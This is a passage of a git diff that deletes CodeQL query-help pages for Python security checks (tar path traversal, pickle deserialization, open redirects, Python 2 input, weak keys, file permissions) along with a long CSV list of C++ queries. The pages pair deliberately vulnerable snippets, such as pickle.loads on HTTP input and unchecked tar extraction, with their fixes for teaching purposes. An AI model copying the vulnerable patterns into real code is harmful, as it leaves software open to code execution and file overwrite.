occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.tar` contained relative paths (for instance, if it were created by something like `tar -cf archive.tar ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```python - -import tarfile - -with tarfile.open('archive.zip') as tar: - #BAD : This could write any file on the filesystem. - for entry in tar: - tar.extract(entry, "/tmp/unpack/") - -``` -To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. - - -```python - -import tarfile -import os.path - -with tarfile.open('archive.zip') as tar: - for entry in tar: - #GOOD: Check that entry is safe - if os.path.isabs(entry.name) or ".." in entry.name: - raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Python Library Reference: [TarFile.extract](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extract). -* Python Library Reference: [TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UnsafeDeserialization.md b/docs/language/query-help/python/UnsafeDeserialization.md deleted file mode 100644 index fa1ef536279..00000000000 --- a/docs/language/query-help/python/UnsafeDeserialization.md +++ /dev/null @@ -1,59 +0,0 @@ -# Deserializing untrusted input - -``` -ID: py/unsafe-deserialization -Kind: path-problem -Severity: error -Precision: high -Tags: external/cwe/cwe-502 security serialization - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. - -There are many different serialization frameworks. This query currently supports Pickle, Marshal and Yaml. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON. - - -## Example -The following example calls `pickle.loads` directly on a value provided by an incoming HTTP request. Pickle then creates a new value from untrusted data, and is therefore inherently unsafe. - - -```python - -from django.conf.urls import url -import pickle - -def unsafe(pickled): - return pickle.loads(pickled) - -urlpatterns = [ - url(r'^(?P.*)$', unsafe) -] -``` -Changing the code to use `json.loads` instead of `pickle.loads` removes the vulnerability. - - -```python - -from django.conf.urls import url -import json - -def safe(pickled): - return json.loads(pickled) - -urlpatterns = [ - url(r'^(?P.*)$', safe) -] - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/) -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UrlRedirect.md b/docs/language/query-help/python/UrlRedirect.md deleted file mode 100644 index 46acb9427a6..00000000000 --- a/docs/language/query-help/python/UrlRedirect.md +++ /dev/null @@ -1,57 +0,0 @@ -# URL redirection from remote source - -``` -ID: py/url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```python -from flask import Flask, request, redirect - -app = Flask(__name__) - -@app.route('/') -def hello(): - target = request.args.get('target', '') - return redirect(target, code=302) - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```python -from flask import Flask, request, redirect - -VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html" - -app = Flask(__name__) - -@app.route('/') -def hello(): - target = request.args.get('target', '') - if target == VALID_REDIRECT: - return redirect(target, code=302) - else: - ... # Error - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/python/UseofInput.md b/docs/language/query-help/python/UseofInput.md deleted file mode 100644 index aa92bf56fee..00000000000 --- a/docs/language/query-help/python/UseofInput.md +++ /dev/null @@ -1,22 +0,0 @@ -# 'input' function used in Python 2 - -``` -ID: py/use-of-input -Kind: problem -Severity: error -Precision: high -Tags: security correctness - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Expressions/UseofInput.ql) - -In Python 2, a call to the `input()` function, `input(prompt)` is equivalent to `eval(raw_input(prompt))`. Evaluating user input without any checking can be a serious security flaw. - - -## Recommendation -Get user input with `raw_input(prompt)` and then validate that input before evaluating. If the expected input is a number or string, then `ast.literal_eval()` can always be used safely. - - -## References -* Python Standard Library: [input](http://docs.python.org/2/library/functions.html#input), [ast.literal_eval](http://docs.python.org/2/library/ast.html#ast.literal_eval). -* Wikipedia: [Data validation](http://en.wikipedia.org/wiki/Data_validation). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakCrypto.md b/docs/language/query-help/python/WeakCrypto.md deleted file mode 100644 index 27b8e1980cd..00000000000 --- a/docs/language/query-help/python/WeakCrypto.md +++ /dev/null @@ -1,28 +0,0 @@ -# Use of weak cryptographic key - -``` -ID: py/weak-crypto-key -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-326 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-326/WeakCrypto.ql) - -Modern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger. - -The three main asymmetric key algorithms currently in use are Rivest–Shamir–Adleman (RSA) cryptography, Digital Signature Algorithm (DSA), and Elliptic-curve cryptography (ECC). With current technology, key sizes of 2048 bits for RSA and DSA, or 224 bits for ECC, are regarded as unbreakable. - - -## Recommendation -Increase the key size to the recommended amount or larger. For RSA or DSA this is at least 2048 bits, for ECC this is at least 224 bits. - - -## References -* Wikipedia: [Digital Signature Algorithm](https://en.wikipedia.org/wiki/Digital_Signature_Algorithm). -* Wikipedia: [RSA cryptosystem](https://en.wikipedia.org/wiki/RSA_(cryptosystem)). -* Wikipedia: [Elliptic-curve cryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography). -* Python cryptography module: [cryptography.io](https://cryptography.io/en/latest/). -* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html). \ No newline at end of file diff --git a/docs/language/query-help/python/WeakFilePermissions.md b/docs/language/query-help/python/WeakFilePermissions.md deleted file mode 100644 index 268e558dbf0..00000000000 --- a/docs/language/query-help/python/WeakFilePermissions.md +++ /dev/null @@ -1,22 +0,0 @@ -# Overly permissive file permissions - -``` -ID: py/overly-permissive-file -Kind: problem -Severity: warning -Precision: medium -Tags: external/cwe/cwe-732 security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-732/WeakFilePermissions.ql) - -When creating a file, POSIX systems allow permissions to be specified for owner, group and others separately. Permissions should be kept as strict as possible, preventing access to the files contents by other users. - - -## Recommendation -Restrict the file permissions of files to prevent any but the owner being able to read or write to that file - - -## References -* Wikipedia: [File system permissions](https://en.wikipedia.org/wiki/File_system_permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/query-lists/query-list.csv b/docs/language/query-help/query-lists/query-list.csv deleted file mode 100644 index 63d5fd3e231..00000000000 --- a/docs/language/query-help/query-lists/query-list.csv +++ /dev/null @@ -1,196 +0,0 @@ -Query filename,Suite,Query name,Query ID,Kind,Severity,Precision,Tags -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,code-scanning,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,code-scanning,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,code-scanning,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,code-scanning,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,code-scanning,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,code-scanning,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,code-scanning,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,code-scanning,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,code-scanning,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,code-scanning,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,code-scanning,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,code-scanning,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,code-scanning,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 -ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,code-scanning,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,code-scanning,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,code-scanning,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,code-scanning,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,code-scanning,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,code-scanning,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,code-scanning,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,code-scanning,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,code-scanning,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,code-scanning,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,code-scanning,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,code-scanning,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,code-scanning,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,code-scanning,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 -ql\cpp\ql\src\Best Practices\BlockWithTooManyStatements.ql,security-and-quality,Block with too many statements,cpp/complex-block,problem,recommendation,high,testability readability maintainability -ql\cpp\ql\src\Best Practices\ComplexCondition.ql,security-and-quality,Complex condition,cpp/complex-condition,problem,recommendation,high,testability readability maintainability statistical non-attributable -ql\cpp\ql\src\Best Practices\Exceptions\AccidentalRethrow.ql,security-and-quality,Accidental rethrow,cpp/rethrow-no-exception,problem,warning,high,reliability correctness exceptions -ql\cpp\ql\src\Best Practices\Exceptions\CatchingByValue.ql,security-and-quality,Catching by value,cpp/catch-by-value,problem,warning,very-high,efficiency correctness exceptions -ql\cpp\ql\src\Best Practices\Exceptions\LeakyCatch.ql,security-and-quality,Leaky catch,cpp/catch-missing-free,problem,warning,high,efficiency correctness exceptions external/cwe/cwe-401 -ql\cpp\ql\src\Best Practices\Exceptions\ThrowingPointers.ql,security-and-quality,Throwing pointers,cpp/throwing-pointer,problem,warning,high,efficiency correctness exceptions -ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesParameter.ql,security-and-quality,Declaration hides parameter,cpp/declaration-hides-parameter,problem,recommendation,very-high,maintainability readability -ql\cpp\ql\src\Best Practices\Hiding\DeclarationHidesVariable.ql,security-and-quality,Declaration hides variable,cpp/declaration-hides-variable,problem,recommendation,high,maintainability readability -ql\cpp\ql\src\Best Practices\Hiding\LocalVariableHidesGlobalVariable.ql,security-and-quality,Local variable hides global variable,cpp/local-variable-hides-global-variable,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Best Practices\Likely Errors\EmptyBlock.ql,security-and-quality,Empty branch of conditional,cpp/empty-block,problem,recommendation,very-high,reliability readability -ql\cpp\ql\src\Best Practices\Likely Errors\Slicing.ql,security-and-quality,Slicing,cpp/slicing,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Best Practices\RuleOfTwo.ql,security-and-quality,Inconsistent definition of copy constructor and assignment ('Rule of Two'),cpp/rule-of-two,problem,warning,high,reliability readability language-features -ql\cpp\ql\src\Best Practices\SloppyGlobal.ql,security-and-quality,Short global name,cpp/short-global-name,problem,recommendation,very-high,maintainability -ql\cpp\ql\src\Best Practices\SwitchLongCase.ql,security-and-quality,Long switch case,cpp/long-switch,problem,recommendation,high,maintainability readability -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedLocals.ql,security-and-quality,Unused local variable,cpp/unused-local-variable,problem,recommendation,high,maintainability useless-code external/cwe/cwe-563 -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticFunctions.ql,security-and-quality,Unused static function,cpp/unused-static-function,problem,recommendation,high,efficiency useless-code external/cwe/cwe-561 -ql\cpp\ql\src\Best Practices\Unused Entities\UnusedStaticVariables.ql,security-and-quality,Unused static variable,cpp/unused-static-variable,problem,recommendation,high,efficiency useless-code external/cwe/cwe-563 -ql\cpp\ql\src\Best Practices\UseOfGoto.ql,security-and-quality,Use of goto,cpp/use-of-goto,problem,warning,high,maintainability readability language-features -ql\cpp\ql\src\Critical\DeadCodeGoto.ql,security-and-quality,Dead code due to goto or break statement,cpp/dead-code-goto,problem,warning,high,maintainability external/cwe/cwe-561 -ql\cpp\ql\src\Critical\LargeParameter.ql,security-and-quality,Large object passed by value,cpp/large-parameter,problem,recommendation,very-high,efficiency readability statistical non-attributable -ql\cpp\ql\src\Critical\NewArrayDeleteMismatch.ql,security-and-quality,'new[]' array freed with 'delete',cpp/new-array-delete-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Critical\NewDeleteArrayMismatch.ql,security-and-quality,'new' object freed with 'delete[]',cpp/new-delete-array-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-and-quality,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Documentation\CommentedOutCode.ql,security-and-quality,Commented-out code,cpp/commented-out-code,problem,recommendation,high,maintainability documentation -ql\cpp\ql\src\Documentation\FixmeComments.ql,security-and-quality,FIXME comment,cpp/fixme-comment,problem,recommendation,very-high,maintainability documentation external/cwe/cwe-546 -ql\cpp\ql\src\Header Cleanup\Cleanup-DuplicateIncludeGuard.ql,security-and-quality,Duplicate include guard,cpp/duplicate-include-guard,problem,error,high,reliability maintainability modularity -ql\cpp\ql\src\jsf\4.06 Pre-Processing Directives\AV Rule 32.ql,security-and-quality,Include header files only,cpp/include-non-header,problem,recommendation,high,maintainability modularity readability external/jsf -ql\cpp\ql\src\jsf\4.07 Header Files\AV Rule 35.ql,security-and-quality,Missing header guard,cpp/missing-header-guard,problem,warning,high,efficiency maintainability modularity external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 71.1.ql,security-and-quality,Virtual call from constructor or destructor,cpp/virtual-call-in-constructor,problem,warning,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 79.ql,security-and-quality,Resource not released in destructor,cpp/resource-not-released-in-destructor,problem,warning,high,efficiency readability external/cwe/cwe-404 external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 82.ql,security-and-quality,Overloaded assignment does not return 'this',cpp/assignment-does-not-return-this,problem,warning,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 88.ql,security-and-quality,Undisciplined multiple inheritance,cpp/undisciplined-multiple-inheritance,problem,recommendation,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 89.ql,security-and-quality,Inconsistent virtual inheritance,cpp/inconsistent-virtual-inheritance,problem,error,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 95.ql,security-and-quality,Redefined default parameter,cpp/redefined-default-parameter,problem,error,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.10 Classes\AV Rule 97.ql,security-and-quality,No raw arrays in interfaces,cpp/array-in-interface,problem,recommendation,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 107.ql,security-and-quality,Function declared in block,cpp/function-in-block,problem,recommendation,very-high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.13 Functions\AV Rule 114.ql,security-and-quality,Missing return statement,cpp/missing-return,problem,error,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.16 Initialization\AV Rule 145.ql,security-and-quality,Irregular enum initialization,cpp/irregular-enum-init,problem,recommendation,high,reliability readability language-features external/jsf -ql\cpp\ql\src\jsf\4.21 Operators\AV Rule 166.ql,security-and-quality,Sizeof with side effects,cpp/sizeof-side-effect,problem,recommendation,high,reliability correctness external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 196.ql,security-and-quality,No trivial switch statements,cpp/trivial-switch,problem,recommendation,high,maintainability readability external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 197.ql,security-and-quality,Avoid floats in for loops,cpp/loop-variable-float,problem,recommendation,high,correctness reliability external/jsf -ql\cpp\ql\src\jsf\4.24 Control Flow Structures\AV Rule 201.ql,security-and-quality,For loop variable changed in body,cpp/loop-variable-changed,problem,recommendation,high,reliability readability external/jsf -ql\cpp\ql\src\Likely Bugs\AmbiguouslySignedBitField.ql,security-and-quality,Ambiguously signed bit-field member,cpp/ambiguously-signed-bit-field,problem,warning,high,reliability readability language-features external/cwe/cwe-190 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-and-quality,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BitwiseSignCheck.ql,security-and-quality,Sign check of bitwise operation,cpp/bitwise-sign-check,problem,warning,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Arithmetic\ComparisonPrecedence.ql,security-and-quality,Unclear comparison precedence,cpp/comparison-precedence,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Likely Bugs\Arithmetic\FloatComparison.ql,security-and-quality,Equality test on floating-point values,cpp/equality-on-floats,problem,recommendation,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-and-quality,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessComparison.ql,security-and-quality,Comparison result is always the same,cpp/constant-comparison,problem,warning,high,maintainability readability -ql\cpp\ql\src\Likely Bugs\Arithmetic\PointlessSelfComparison.ql,security-and-quality,Self comparison,cpp/comparison-of-identical-expressions,problem,warning,high,readability maintainability -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-and-quality,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Arithmetic\UnsignedGEZero.ql,security-and-quality,Unsigned comparison to zero,cpp/unsigned-comparison-zero,problem,warning,very-high,maintainability readability -ql\cpp\ql\src\Likely Bugs\ContinueInFalseLoop.ql,security-and-quality,Continue statement that does not continue,cpp/continue-in-false-loop,problem,warning,high,correctness -ql\cpp\ql\src\Likely Bugs\Conversion\ArrayArgSizeMismatch.ql,security-and-quality,Array argument size mismatch,cpp/array-arg-size-mismatch,problem,warning,high,reliability -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-and-quality,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Conversion\ImplicitDowncastFromBitfield.ql,security-and-quality,Implicit downcast from bitfield,cpp/implicit-bitfield-downcast,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Conversion\LossyPointerCast.ql,security-and-quality,Lossy pointer cast,cpp/lossy-pointer-cast,problem,warning,high,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-and-quality,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-and-quality,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\TooManyFormatArguments.ql,security-and-quality,Too many arguments to formatting function,cpp/too-many-format-arguments,problem,recommendation,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-and-quality,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-and-quality,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Likely Typos\AssignWhereCompareMeant.ql,security-and-quality,Assignment where comparison was intended,cpp/assign-where-compare-meant,problem,error,high,reliability correctness external/cwe/cwe-481 -ql\cpp\ql\src\Likely Bugs\Likely Typos\CompareWhereAssignMeant.ql,security-and-quality,Comparison where assignment was intended,cpp/compare-where-assign-meant,problem,error,high,reliability correctness external/cwe/cwe-482 -ql\cpp\ql\src\Likely Bugs\Likely Typos\DubiousNullCheck.ql,security-and-quality,Dubious NULL check,cpp/dubious-null-check,problem,warning,very-high,reliability readability -ql\cpp\ql\src\Likely Bugs\Likely Typos\ExprHasNoEffect.ql,security-and-quality,Expression has no effect,cpp/useless-expression,problem,warning,high,maintainability correctness external/cwe/cwe-561 -ql\cpp\ql\src\Likely Bugs\Likely Typos\FutileConditional.ql,security-and-quality,Futile conditional,cpp/empty-if,problem,recommendation,high,reliability readability -ql\cpp\ql\src\Likely Bugs\Likely Typos\inconsistentLoopDirection.ql,security-and-quality,Inconsistent direction of for loop,cpp/inconsistent-loop-direction,problem,error,high,correctness external/cwe/cwe-835 external/microsoft/6293 -ql\cpp\ql\src\Likely Bugs\Likely Typos\ShortCircuitBitMask.ql,security-and-quality,Short-circuiting operator applied to flag,cpp/logical-operator-applied-to-flag,problem,warning,high,reliability correctness external/cwe/cwe-480 -ql\cpp\ql\src\Likely Bugs\Likely Typos\UsingStrcpyAsBoolean.ql,security-and-quality,Use of string copy function in a condition,cpp/string-copy-return-value-as-boolean,problem,error,high,external/microsoft/C6324 correctness -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-and-quality,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-and-quality,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnCstrOfLocalStdString.ql,security-and-quality,Return c_str of local std::string,cpp/return-c-str-of-std-string,problem,warning,high,reliability correctness -ql\cpp\ql\src\Likely Bugs\Memory Management\ReturnStackAllocatedMemory.ql,security-and-quality,Returning stack-allocated memory,cpp/return-stack-allocated-memory,problem,warning,high,reliability external/cwe/cwe-825 -ql\cpp\ql\src\Likely Bugs\OO\IncorrectConstructorDelegation.ql,security-and-quality,Incorrect constructor delegation,cpp/constructor-delegation,problem,warning,high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\OO\NonVirtualDestructorInBaseClass.ql,security-and-quality,Non-virtual destructor in base class,cpp/virtual-destructor,problem,warning,high,reliability readability language-features -ql\cpp\ql\src\Likely Bugs\OO\ThrowInDestructor.ql,security-and-quality,Exception thrown in destructor,cpp/throw-in-destructor,problem,warning,very-high,reliability readability language-features -ql\cpp\ql\src\Likely Bugs\ReturnConstType.ql,security-and-quality,Constant return type,cpp/non-member-const-no-effect,problem,warning,very-high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\ReturnConstTypeMember.ql,security-and-quality,Constant return type on member,cpp/member-const-no-effect,problem,warning,very-high,maintainability readability language-features -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\ImplicitFunctionDeclaration.ql,security-and-quality,Implicit function declaration,cpp/implicit-function-declaration,problem,warning,high,correctness maintainability -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-and-quality,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooManyArguments.ql,security-and-quality,Call to function with extraneous arguments,cpp/futile-params,problem,warning,very-high,correctness maintainability -ql\cpp\ql\src\Likely Bugs\UseInOwnInitializer.ql,security-and-quality,Variable used in its own initializer,cpp/use-in-own-initializer,problem,warning,high,maintainability correctness -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-and-quality,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-and-quality,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 